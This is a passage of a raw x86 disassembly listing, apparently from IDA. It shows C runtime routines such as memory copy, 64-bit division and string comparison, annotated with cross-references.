sub_40D968+26p ; ___:004263D2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41BA31 pop ecx retn sub_41D3EF endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D400 proc near ; CODE XREF: sub_40D9D9+3Ap ; sub_41E4A2+2EEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41D420 cmp edi, eax jb loc_41D598 loc_41D420: ; CODE XREF: sub_41D400+16j test edi, 3 jnz short loc_41D43C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D45C rep movsd jmp off_41D548[edx*4] ; --------------------------------------------------------------------------- loc_41D43C: ; CODE XREF: sub_41D400+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41D454 and eax, 3 add ecx, eax jmp dword ptr loc_41D45C+4[eax*4] ; --------------------------------------------------------------------------- loc_41D454: ; CODE XREF: sub_41D400+46j jmp dword ptr loc_41D558[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D45C: ; CODE XREF: sub_41D400+31j ; sub_41D400+8Ej ... jmp off_41D4DC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D470 dd offset loc_41D49C dd offset loc_41D4C0 ; --------------------------------------------------------------------------- loc_41D470: ; DATA XREF: sub_41D400+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41D45C rep movsd jmp off_41D548[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41D49C: ; DATA XREF: sub_41D400+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41D45C rep movsd jmp off_41D548[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D4C0: ; DATA XREF: sub_41D400+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41D45C rep movsd jmp off_41D548[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D4DC dd offset loc_41D53F ; DATA XREF: sub_41D400:loc_41D45Cr dd offset loc_41D52C dd offset loc_41D524 dd offset loc_41D51C dd offset loc_41D514 dd offset loc_41D50C dd offset loc_41D504 dd offset loc_41D4FC ; --------------------------------------------------------------------------- loc_41D4FC: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41D504: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41D50C: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41D514: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41D51C: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41D524: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41D52C: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D53F: ; CODE XREF: sub_41D400:loc_41D45Cj ; DATA XREF: sub_41D400:off_41D4DCo jmp off_41D548[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D548 dd offset loc_41D558 ; DATA XREF: sub_41D400+35r ; sub_41D400+92r ... dd offset loc_41D560 dd offset loc_41D56C dd offset loc_41D580 ; --------------------------------------------------------------------------- loc_41D558: ; CODE XREF: sub_41D400+35j ; sub_41D400+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D560: ; CODE XREF: sub_41D400+35j ; sub_41D400+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D56C: ; CODE XREF: sub_41D400+35j ; sub_41D400+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D580: ; CODE XREF: sub_41D400+35j ; sub_41D400+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D598: ; CODE XREF: sub_41D400+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41D5CC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D5C0 std rep movsd cld jmp off_41D6E0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D5C0: ; CODE XREF: sub_41D400+1B1j ; sub_41D400+208j ... neg ecx jmp off_41D690[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D5CC: ; CODE XREF: sub_41D400+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41D5E4 and eax, 3 sub ecx, eax jmp dword ptr loc_41D5E4+4[eax*4] ; --------------------------------------------------------------------------- loc_41D5E4: ; CODE XREF: sub_41D400+1D6j ; DATA XREF: sub_41D400+1DDr jmp off_41D6E0[ecx*4] ; --------------------------------------------------------------------------- align 4 clc aad 41h add [eax], bl setalc inc ecx add [eax-2Ah], al inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41D5C0 std rep movsd cld jmp off_41D6E0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41D5C0 std rep movsd cld jmp off_41D6E0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41D5C0 std rep movsd cld jmp off_41D6E0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D694 dd offset loc_41D69C dd offset loc_41D6A4 dd offset loc_41D6AC dd offset loc_41D6B4 dd offset loc_41D6BC dd offset loc_41D6C4 off_41D690 dd offset loc_41D6D7 ; DATA XREF: sub_41D400+1C2r ; --------------------------------------------------------------------------- loc_41D694: ; DATA XREF: sub_41D400+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41D69C: ; DATA XREF: sub_41D400+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41D6A4: ; DATA XREF: sub_41D400+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41D6AC: ; DATA XREF: sub_41D400+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41D6B4: ; DATA XREF: sub_41D400+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41D6BC: ; DATA XREF: sub_41D400+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41D6C4: ; DATA XREF: sub_41D400+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D6D7: ; CODE XREF: sub_41D400+1C2j ; DATA XREF: sub_41D400:off_41D690o jmp off_41D6E0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41D6E0 dd offset loc_41D6F0 ; DATA XREF: sub_41D400+1B7r ; sub_41D400:loc_41D5E4r ... dd offset loc_41D6F8 dd offset loc_41D708 dd offset loc_41D71C ; --------------------------------------------------------------------------- loc_41D6F0: ; CODE XREF: sub_41D400+1B7j ; sub_41D400:loc_41D5E4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D6F8: ; CODE XREF: sub_41D400+1B7j ; sub_41D400:loc_41D5E4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D708: ; CODE XREF: sub_41D400+1B7j ; sub_41D400:loc_41D5E4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D71C: ; CODE XREF: sub_41D400+1B7j ; sub_41D400:loc_41D5E4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41D400 endp ; =============== S U B R O U T I N E ======================================= sub_41D735 proc near ; CODE XREF: sub_40DA40+34p ; sub_40DA40+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41BCAD pop ecx pop ecx retn sub_41D735 endp ; =============== S U B R O U T I N E ======================================= sub_41D743 proc near ; CODE XREF: sub_41D7B0+4p arg_0 = dword ptr 4 push esi push dword_4DADB4 call sub_422548 mov edx, dword_4DADB4 pop ecx mov ecx, dword_4DADB0 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D7A2 push edx call sub_422548 add eax, 10h push eax push dword_4DADB4 call sub_41BB48 add esp, 0Ch test eax, eax jnz short loc_41D785 retn ; --------------------------------------------------------------------------- loc_41D785: ; CODE XREF: sub_41D743+3Fj mov ecx, dword_4DADB0 sub ecx, dword_4DADB4 mov dword_4DADB4, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DADB0, ecx loc_41D7A2: ; CODE XREF: sub_41D743+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DADB0, 4 retn sub_41D743 endp ; =============== S U B R O U T I N E ======================================= sub_41D7B0 proc near ; CODE XREF: sub_40DB2D+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41D743 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D7B0 endp ; --------------------------------------------------------------------------- push 80h call sub_41BC9B test eax, eax pop ecx mov dword_4DADB4, eax jnz short loc_41D7E3 push 18h call sub_41E1C9 mov eax, dword_4DADB4 pop ecx loc_41D7E3: ; CODE XREF: ___:0041D7D4j and dword ptr [eax], 0 mov eax, dword_4DADB4 mov dword_4DADB0, eax retn ; =============== S U B R O U T I N E ======================================= sub_41D7F1 proc near ; CODE XREF: sub_40DB4F+7Ap ; sub_40DB4F+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_41D805 loc_41D7FD: ; CODE XREF: sub_41D7F1+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_41D7FD loc_41D805: ; CODE XREF: sub_41D7F1+Aj mov edx, [esp+arg_4] push esi loc_41D80A: ; CODE XREF: sub_41D7F1+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_41D80A pop esi retn sub_41D7F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D81B proc near ; CODE XREF: ___:0040E534p var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax nop call near ptr 27B0000h lea eax, [ebp+var_20] push eax call near ptr 28B0000h nop mov ax, [ebp+var_16] cmp ax, word_4D9782 jnz short loc_41D880 mov ax, [ebp+var_18] cmp ax, word_4D9780 jnz short loc_41D880 mov ax, [ebp+var_1A] cmp ax, word_4D977E jnz short loc_41D880 mov ax, [ebp+var_1E] cmp ax, word_4D977A jnz short loc_41D880 mov ax, [ebp+var_20] cmp ax, word_4D9778 jnz short loc_41D880 mov eax, dword_4D9770 jmp short loc_41D8C5 ; --------------------------------------------------------------------------- loc_41D880: ; CODE XREF: sub_41D81B+28j ; sub_41D81B+35j ... lea eax, [ebp+var_CC] push eax nop call near ptr 28A0000h cmp eax, 0FFFFFFFFh jz short loc_41D8AD cmp eax, 2 jnz short loc_41D8A9 cmp [ebp+var_32], 0 jz short loc_41D8A9 cmp [ebp+var_24], 0 jz short loc_41D8A9 push 1 pop eax jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D8A9: ; CODE XREF: sub_41D81B+7Aj ; sub_41D81B+81j ... xor eax, eax jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D8AD: ; CODE XREF: sub_41D81B+75j or eax, 0FFFFFFFFh loc_41D8B0: ; CODE XREF: sub_41D81B+8Cj ; sub_41D81B+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4D9778 movsd movsd movsd movsd pop edi mov dword_4D9770, eax pop esi loc_41D8C5: ; CODE XREF: sub_41D81B+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_422571 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41D8F5 mov [ecx], eax locret_41D8F5: ; CODE XREF: sub_41D81B+D6j leave retn sub_41D81B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D900 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4D97C8 cmp dword ptr [eax+8], 0 jnz short loc_41D953 mov al, 0FFh mov edi, edi loc_41D91C: ; CODE XREF: sub_41D900+28j ; sub_41D900+48j or al, al jz short loc_41D94E mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D91C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D91C sbb al, al sbb al, 0FFh loc_41D94E: ; CODE XREF: sub_41D900+1Ej movsx eax, al jmp short loc_41D987 ; --------------------------------------------------------------------------- loc_41D953: ; CODE XREF: sub_41D900+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D95C: ; CODE XREF: sub_41D900+68j ; sub_41D900+80j or al, al jz short loc_41D987 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D95C push eax push ebx call sub_41DEEC mov ebx, eax add esp, 4 call sub_41DEEC add esp, 4 cmp bl, al jz short loc_41D95C sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D987: ; CODE XREF: sub_41D900+51j ; sub_41D900+5Ej pop ebx pop esi pop edi leave retn sub_41D900 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41DA08 mov edi, [esp+14h] test edi, edi jz short loc_41D9AB cmp edi, 1 jz short loc_41D9AB cmp edi, 2 jnz short loc_41DA08 loc_41D9AB: ; CODE XREF: ___:0041D99Fj ; ___:0041D9A4j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41D9C2 push esi call sub_4226CD add [esp+14h], eax pop ecx xor edi, edi loc_41D9C2: ; CODE XREF: ___:0041D9B3j push esi call sub_41E32B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41D9D7 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41D9EB ; --------------------------------------------------------------------------- loc_41D9D7: ; CODE XREF: ___:0041D9CEj test al, 1 jz short loc_41D9EB test al, 8 jz short loc_41D9EB test ah, 4 jnz short loc_41D9EB mov dword ptr [esi+18h], 200h loc_41D9EB: ; CODE XREF: ___:0041D9D5j ; ___:0041D9D9j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_422633 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41DA15 ; --------------------------------------------------------------------------- loc_41DA08: ; CODE XREF: ___:0041D997j ; ___:0041D9A9j mov dword_4D9714, 16h or eax, 0FFFFFFFFh loc_41DA15: ; CODE XREF: ___:0041DA06j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DA20 proc near ; CODE XREF: sub_41364F+19Ep ; sub_4143AC+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41DA39 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41DA39: ; CODE XREF: sub_41DA20+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41DA20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DA54 proc near ; CODE XREF: ___:00416640p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41DA78 xor eax, eax jmp loc_41DB45 ; --------------------------------------------------------------------------- loc_41DA78: ; CODE XREF: sub_41DA54+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41DA8B mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41DA92 ; --------------------------------------------------------------------------- loc_41DA8B: ; CODE XREF: sub_41DA54+2Dj mov [ebp+arg_C], 1000h loc_41DA92: ; CODE XREF: sub_41DA54+35j ; sub_41DA54+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41DAC6 mov eax, [esi+4] test eax, eax jz short loc_41DAC6 cmp ebx, eax mov edi, ebx jb short loc_41DAAC mov edi, eax loc_41DAAC: ; CODE XREF: sub_41DA54+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41CAB0 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41DB0C ; --------------------------------------------------------------------------- loc_41DAC6: ; CODE XREF: sub_41DA54+47j ; sub_41DA54+4Ej cmp ebx, [ebp+arg_C] jb short loc_41DB11 test ecx, ecx jz short loc_41DADA push esi call sub_41E32B test eax, eax pop ecx jnz short loc_41DB53 loc_41DADA: ; CODE XREF: sub_41DA54+79j cmp [ebp+arg_C], 0 jz short loc_41DAED mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41DAEF ; --------------------------------------------------------------------------- loc_41DAED: ; CODE XREF: sub_41DA54+8Aj mov edi, ebx loc_41DAEF: ; CODE XREF: sub_41DA54+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_422825 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41DB4A add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41DB4A loc_41DB0C: ; CODE XREF: sub_41DA54+70j mov edi, [ebp+var_4] jmp short loc_41DB3A ; --------------------------------------------------------------------------- loc_41DB11: ; CODE XREF: sub_41DA54+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41F4BF pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DB53 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41DB3A mov [ebp+arg_C], 1 loc_41DB3A: ; CODE XREF: sub_41DA54+BBj ; sub_41DA54+DDj test ebx, ebx jnz loc_41DA92 mov eax, [ebp+arg_8] loc_41DB45: ; CODE XREF: sub_41DA54+1Fj ; sub_41DA54+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41DB4A: ; CODE XREF: sub_41DA54+ADj ; sub_41DA54+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41DB55 ; --------------------------------------------------------------------------- loc_41DB53: ; CODE XREF: sub_41DA54+84j ; sub_41DA54+CFj mov eax, edi loc_41DB55: ; CODE XREF: sub_41DA54+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41DB45 sub_41DA54 endp ; =============== S U B R O U T I N E ======================================= sub_41DB5E proc near ; CODE XREF: sub_416C63+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] nop call near ptr 26B0455h cmp eax, 0FFFFFFFFh jnz short loc_41DB7E nop call near ptr 26A0EA9h push eax call sub_420314 pop ecx loc_41DB7A: ; CODE XREF: sub_41DB5E+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41DB7E: ; CODE XREF: sub_41DB5E+Dj test al, 1 jz short loc_41DB9F test [esp+arg_4], 2 jz short loc_41DB9F mov dword_4D9714, 0Dh mov dword_4D9718, 5 jmp short loc_41DB7A ; --------------------------------------------------------------------------- loc_41DB9F: ; CODE XREF: sub_41DB5E+22j ; sub_41DB5E+29j xor eax, eax retn sub_41DB5E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DBB0 proc near ; CODE XREF: sub_416C7D+3Fp ; sub_41AE75+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41DBD2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41DC13 ; --------------------------------------------------------------------------- loc_41DBD2: ; CODE XREF: sub_41DBB0+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41DBE0: ; CODE XREF: sub_41DBB0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DBE0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41DC0E cmp edx, [esp+8+arg_4] ja short loc_41DC0E jb short loc_41DC0F cmp eax, [esp+8+arg_0] jbe short loc_41DC0F loc_41DC0E: ; CODE XREF: sub_41DBB0+4Ej ; sub_41DBB0+54j dec esi loc_41DC0F: ; CODE XREF: sub_41DBB0+56j ; sub_41DBB0+5Cj xor edx, edx mov eax, esi loc_41DC13: ; CODE XREF: sub_41DBB0+20j pop esi pop ebx retn 10h sub_41DBB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DC20 proc near ; CODE XREF: sub_416C7D+2Dp ; sub_41AE75+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41DC41 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41DC91 ; --------------------------------------------------------------------------- loc_41DC41: ; CODE XREF: sub_41DC20+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41DC4F: ; CODE XREF: sub_41DC20+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DC4F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41DC7A cmp edx, [esp+4+arg_4] ja short loc_41DC7A jb short loc_41DC82 cmp eax, [esp+4+arg_0] jbe short loc_41DC82 loc_41DC7A: ; CODE XREF: sub_41DC20+4Aj ; sub_41DC20+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41DC82: ; CODE XREF: sub_41DC20+52j ; sub_41DC20+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41DC91: ; CODE XREF: sub_41DC20+1Fj pop ebx retn 10h sub_41DC20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DCA0 proc near ; CODE XREF: sub_416D8D+5Fp ; sub_416D8D+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41DCC1 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41DCC1: ; CODE XREF: sub_41DCA0+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41DCDD inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41DCDD: ; CODE XREF: sub_41DCA0+27j or eax, eax jnz short loc_41DCF9 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41DD3A ; --------------------------------------------------------------------------- loc_41DCF9: ; CODE XREF: sub_41DCA0+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41DD07: ; CODE XREF: sub_41DCA0+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41DD07 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41DD35 cmp edx, [esp+0Ch+arg_4] ja short loc_41DD35 jb short loc_41DD36 cmp eax, [esp+0Ch+arg_0] jbe short loc_41DD36 loc_41DD35: ; CODE XREF: sub_41DCA0+85j ; sub_41DCA0+8Bj dec esi loc_41DD36: ; CODE XREF: sub_41DCA0+8Dj ; sub_41DCA0+93j xor edx, edx mov eax, esi loc_41DD3A: ; CODE XREF: sub_41DCA0+57j dec edi jnz short loc_41DD44 neg edx neg eax sbb edx, 0 loc_41DD44: ; CODE XREF: sub_41DCA0+9Bj pop ebx pop esi pop edi retn 10h sub_41DCA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DD4A proc near ; CODE XREF: sub_41743B+BFp ; sub_41743B+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4D97D0 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41DD7E mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41DDE5 loc_41DD66: ; CODE XREF: sub_41DD4A+30j mov cl, [edx] cmp cl, 61h jl short loc_41DD77 cmp cl, 7Ah jg short loc_41DD77 sub cl, 20h mov [edx], cl loc_41DD77: ; CODE XREF: sub_41DD4A+21j ; sub_41DD4A+26j inc edx cmp [edx], bl jnz short loc_41DD66 jmp short loc_41DDE5 ; --------------------------------------------------------------------------- loc_41DD7E: ; CODE XREF: sub_41DD4A+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_4229D2 mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41DDD7 push edi call sub_41BC9B cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41DDD7 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4D97D0 call sub_4229D2 add esp, 20h test eax, eax jz short loc_41DDD7 push [ebp+var_4] push [ebp+arg_0] call sub_41C620 pop ecx pop ecx loc_41DDD7: ; CODE XREF: sub_41DD4A+53j ; sub_41DD4A+61j ... push [ebp+var_4] call sub_41BA31 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41DDE5: ; CODE XREF: sub_41DD4A+1Aj ; sub_41DD4A+32j pop ebx leave retn sub_41DD4A endp ; =============== S U B R O U T I N E ======================================= sub_41DDE8 proc near ; CODE XREF: sub_417E35+1A8p arg_0 = dword ptr 4 cmp dword_43A88C, 1 jle short loc_41DDFF push 4 push 